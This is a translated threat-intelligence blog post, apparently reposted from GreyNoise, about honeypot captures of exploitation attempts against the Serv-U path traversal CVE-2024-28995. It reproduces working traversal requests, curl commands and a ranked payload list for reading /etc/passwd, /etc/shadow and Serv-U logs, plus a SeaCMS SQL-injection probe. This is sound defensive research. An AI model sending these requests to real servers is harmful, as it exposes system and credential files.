2024 年 6 月 5 日，SolarWinds 发布了一份公告，详细介绍了 Hussein Daher 发现的 Serv-U 中的路径遍历漏洞 CVE-2024-28995。受影响的版本包括：
-
SolarWinds Serv-U 15.4.2 HF 1 及更早版本受到影响
-
SolarWinds Serv-U 15.4.2 HF 2及更高版本已修补
与最近的Check Point 漏洞一样，这是一个路径遍历问题，允许未经身份验证的攻击者从文件系统获取任何文件。通常很难确定路径遍历问题的意图 – 我只知道攻击者正在获取哪些文件。
为了了解更多信息，我们部署了我一直在研究的新蜜罐原型，它不仅看起来与应用程序惊人地相似，而且响应方式也与易受攻击的系统相同。仅仅几天后，我们就得到了一些有趣的结果，包括 – 我很确定 – 一些实际的键盘操作。
继续阅读以了解更多！
漏洞
我根据我前同事Stephen Fewer撰写的Rapid 7 分析撰写了我们的报告和标签。在撰写本文时，我还发现了一个由@MohamedNab1l编写的扫描程序，该扫描程序可实施相同的攻击。
该漏洞非常简单，通过GET向根目录 ( /) 发送带有参数的请求来访问InternalDir，并InternalFile设置为所需文件。其思想是，InternalDir是文件夹，他们试图验证没有路径遍历段 ( ../)。InternalFile是文件名。
在深入挖掘之前，我们必须问一个问题：是否已经有人为我们完成了漏洞开发工作？如果是，他们是否分享过他们的工作？答案当然是肯定的！以下是我们在蜜罐中捕获的两次漏洞利用尝试……
Windows：
GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1Host: [IP]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Accept: */*Accept-Encoding: gzip, deflateConnection: keep-aliveConnection: close
Linux：
GET /?InternalDir=........etc&InternalFile=passwd HTTP/1.1Host: [IP]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Accept-Encoding: gzip, deflateAccept: */*Connection: keep-alive
请注意 Windows 有效负载 ( /../../../../windows/win.ini) 使用正斜杠，而 Linux 有效负载 ( ……..etcInternalFile=passwd) 使用反斜杠。事实证明，在 Serv-U 上，路径遍历过滤器仅检查平台（/在 Linux 和Windows 上）的适当斜杠，然后“修复”斜杠。因此，如果您发送了错误的斜杠，它会通过检查，然后得到“修复”。这是一种“检查时间与使用时间”（TOCTOU）问题。糟糕！
新的蜜罐！
周五，我们部署了两份我在业余时间开发的实验蜜罐。除了与真实应用程序非常接近的模拟之外，它看起来也容易受到粗略扫描的攻击。目标是让它看起来合法，即使被人随意检查，也容易受到攻击。正如您稍后会看到的那样，我认为我们实际上抓到了一名动手键盘攻击者，我认为这是一次胜利！
以下是典型的漏洞利用尝试，包括响应（我们修改了此捕获中的几个关键字段以阻止指纹识别）：
GET /?InternalDir=........etc&InternalFile=passwd HTTP/1.1Host: [IP]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Accept: */*Accept-Encoding: gzip, deflateConnection: keep-aliveConnection: closeHTTP/1.0 200 OKServer: Serv-U/15.4.2.124Date: Sat, 15 Jun 2024 02:12:28 GMTAccept-Encoding: deflateX-Permitted-Cross-Domain-Policies: noneConnection: closeX-Frame-Options: sameoriginX-Same-Domain: 1X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockReferrer-Policy: same-originStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Type: text/plainPragma: no-cacheCache-Control: no-cache,no-store,max-age=0,must-revalidateExpires: -1Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/; httponlyContent-Length: 1299root:*:19856:0:99999:7:::daemon:*:19856:0:99999:7:::bin:*:19856:0:99999:7:::sys:*:19856:0:99999:7:::sync:*:19856:0:99999:7:::[...]
我们计划在未来很好地运行这个功能，但截至撰写本文时，我们还有大约 3 天的数据需要梳理。
观察结果
今天早上，我下载了两个蜜罐的所有流量的完整 PCAP。以下是人们尝试获取的文件，按我们看到的次数排序（我删除了一些损坏的请求，但保留了 URL 编码）：
25 ........etc/passwd24 /../../../../ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt21 /../../../../windows/win.ini12 ../Serv-U-StartupLog.txt6 ../../../../../../../../windows/win.ini5 %5C..%5C..%5C..%5C..%5Cetc%5E/passwd4 /../../../../Windows/win.ini%204 ......etc/passwd3 /../../../../Windows//win.ini2 /../../../../ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt%E3%80%812 /../../../..//ProgramData/RhinoSoft/Serv-U/Serv-U.Archive2 ........etc/shadow2 ........etc^/passwd1 ........varlog/syslog1 ........varlogServ-U/Serv-U.log1 ........varlog/serv-u.log1 ........usrlocalServ-UUsers/Users.ini1 ......../Shares%5e%26InternalFile%3dServ-U.FileShares1 ......../Serv-U.FileShares1 /../../../../ProgramData/RhinoSoft/Serv-U/%5E/Serv-U-StartupLog.txt1 ........optServ-U/Serv-U.log1 ........etcServ-UUsers/Users.ini1 %5C..%5C..%5C..%5C..%5Cetc/passwd
将最流行的有效载荷与公开的漏洞利用进行比较，我们发现第一个（……..etc/passwd）与Stephen的分析非常吻合，包括斜线的数量：
>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=........etc^&InternalFile=passwd而第八位的有效载荷（ ）与公共扫描仪……etc/passwd匹配：
paths_to_check = ["/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt","/?InternalDir=\..\..\..\etc&InternalFile=passwd"]
第二个最常见的有效载荷（/../../../../ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt）在 Stephen 的分析和公共扫描仪中都有使用。有趣的是，它的命中率略低于 Linux 等效载荷 – 也许人们将我的服务器识别为 Linux？或者人们对 Linux 服务器比 Windows 服务器更感兴趣？我不太确定。
第三名的有效载荷（/../../../../windows/win.ini）显然是 Windows 测试，尽管我找不到可以获取此精确路径的工具 – 也许是流行的漏洞扫描程序之一？
排名第四的有效载荷很有趣（../Serv-U-StartupLog.txt）——与其他流行的有效载荷不同，它不会返回文件系统根目录，而是从上一级目录获取文件。虽然有 12 次命中，但它们都来自瑞士的同一 IP 地址 – 185.196.10.2。我猜测有人独立开发了该有效载荷，但无法确定。
../大多数剩余的有效载荷只是具有不同数量的路径遍历字符的相同文件。
但我发现两个有效载荷特别有趣，原因不同。让我们来看看吧！
示例 1：不要仅仅复制和粘贴漏洞！
当我最初阅读史蒂芬的分析时，我想知道为什么这些例子中包含一个插入符号（^）：
>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt我后来才想起 Windows 使用插入符号作为转义符。当我开发标签时，我知道删除插入符号就足够了，但我确信我会看到至少一名攻击者使用损坏的有效载荷扫描互联网。
果然，到目前为止，我们只看到一个 IP 地址复制并粘贴了有效载荷而没有对其进行修复 – 120.245.64.189，这是一个来自中国的未知 IP。周六早上，它用该路径扫描了我们两次：
Jun 15, 2024 03:26:24.084157918 PDT /?InternalDir=........etc^&InternalFile=passwdJun 15, 2024 05:34:07.319277321 PDT /?InternalDir=........etc^&InternalFile=passwd
两次攻击间隔约两小时。但有趣的是，他们没有向我们发送任何其他信息，无论是在这之前还是之后。
大家记住：测试（或者至少了解）你的有效载荷！不要只是从互联网上复制东西。
示例 2：手放在键盘上？！
之前的有效载荷相当简单——我只是想取笑那些没有测试漏洞的人。但这就是事情变得有趣的地方，至少对我来说是这样。博客的这一部分开始只是一个简短的段落，但随着我不断挖掘，它慢慢膨胀到一半的写作。这表明，你永远不知道！
这是引起我兴趣的具体要求：
Jun 15, 2024 04:34:44.747967473 PDT /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt%E3%80%81注意到末尾的编码位了吗？这三个十六进制代码对应于非英语 UTF-8 字符。如果你谷歌搜索“utf8 e38081”，你会发现它是一个“特有逗号”，显然在中文和日语中使用。
考虑到他们包含了一个亚洲字符，请求来自中国 IP 地址221.4.215.215也就不足为奇了。我决定看看他们还做了什么，并获取了他们的完整日志（我将其上传到 Gist – 虽然由于错误，它缺少第一部分）。
它们首先加载网站并获取您期望看到的常规文件：
[missing: requesting the root directory and a couple images][...]Jun 15, 2024 04:33:47.498495238 PDT /Common/Scripts/Dialog.jsJun 15, 2024 04:33:47.500818945 PDT /%25LOGO_FILE%25/Web%20Client/Images/SULogo500x88-2.png&Sync=1718451226309Jun 15, 2024 04:33:47.503827495 PDT /Common/Scripts/Images/combo.pngJun 15, 2024 04:33:47.504636870 PDT /Common/Scripts/Images/checkbox.pngJun 15, 2024 04:33:47.507760011 PDT /Common/Images/Taskbar-bg.png[...]Jun 15, 2024 04:33:48.305134816 PDT /Common/Images/GreenRadio.pngJun 15, 2024 04:33:48.305257591 PDT /Common/Images/Close_icon_wht_16x16.pngJun 15, 2024 04:33:49.005882739 PDT /favicon.icoJun 15, 2024 04:33:49.069574098 PDT /Common/Images/su16x16.pngJun 15, 2024 04:33:49.071943075 PDT /Common/Images/WebClient16.png
然后大约一分钟后，他们发送了包含错误逗号的路径的请求（他们尝试了两次，中间间隔大约 0.5 秒）：
Jun 15, 2024 04:34:44.747967473 PDT /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt%E3%80%81Jun 15, 2024 04:34:45.376904380 PDT /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt%E3%80%81
然后，大约 15 秒后，他们再次尝试，但使用了另一个无效的 URL（请注意两个?字符）：
Jun 15, 2024 04:35:00.159178570 PDT /?Command=Login&Language=zh,CN?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt我认为他们只是将典型的漏洞利用 ( ?InternalDir=…) 附加到登录页面，而这个漏洞的工作原理并非如此 – 他们应该使用&InternalDir而不是?InternalDir。此时，看起来肯定是人类在操纵，试图让这个漏洞利用起来。
还要注意的是，登录路径包含Language=zh,CN，这支持了这是中国人的说法。他们在尝试破解之前选择了他们的语言，这很酷！
这也会再次加载登录页面，从而进一步确认他们是从浏览器驱动的：
Jun 15, 2024 04:35:00.457145911 PDT /Common/Style/Dialog.cssJun 15, 2024 04:35:00.457824558 PDT /Web%20Client/Style/LoginForm.cssJun 15, 2024 04:35:00.458232379 PDT /Common/Scripts/BrowserCheckAW.js...
秒后，持续四个小时，我们终于看到了与 Stephen 的分析一致的正确的漏洞利用尝试：
Jun 15, 2024 04:35:15.470457396 PDT /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txtJun 15, 2024 04:35:16.069835410 PDT /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txtJun 15, 2024 04:36:42.896069318 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 04:36:43.499037330 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 04:40:45.904738569 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 04:45:19.397132195 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 05:16:56.493040247 PDT /?Command=Login&Language=zh,CN?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txtJun 15, 2024 05:23:32.902809991 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 05:24:26.643218949 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 05:45:37.428377185 PDT /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(3)))v)&type=listJun 15, 2024 05:48:03.995245255 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 05:53:07.356212675 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 06:02:00.980762750 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 08:25:42.822610558 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 08:27:18.075153624 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 08:30:27.830939848 PDT /?InternalDir=........etc&InternalFile=passwdJun 15, 2024 08:32:52.314394141 PDT /?InternalDir=........etc&InternalFile=passwd
请注意，他们在接下来的四个小时内利用了十多次，然后我就再也没有收到他们的消息了。他们甚至还尝试了一次Language=zh,CN。我想知道他们是否多次扫描互联网，或者他们是否一直专门返回我的服务器？我必须留意他们，但我们可能永远不会知道！无论如何，我希望他们对获得的假文件感到满意。:)
附言：在 5:45 处有一个 SQL 注入尝试，这也很奇怪，这似乎是利用了中国 CMS SeaCms 的一个漏洞，我很确定这个漏洞从未被修补过。我想这篇博客发布后我需要为它写一个标签！
结论
我们看到有人积极尝试利用此漏洞 – 甚至可能是使用键盘的人。此漏洞与 RCE 之间的路径很棘手，因此我们很想知道人们会尝试什么！
https://www.labs.greynoise.io/grimoire/2024-06-solarwinds-serv-u/感谢您抽出
.
.
来阅读本文
点它，分享点赞在看都在这里
原文始发于微信公众号（Ots安全）：SolarWinds Serv-U（CVE-2024-28995）
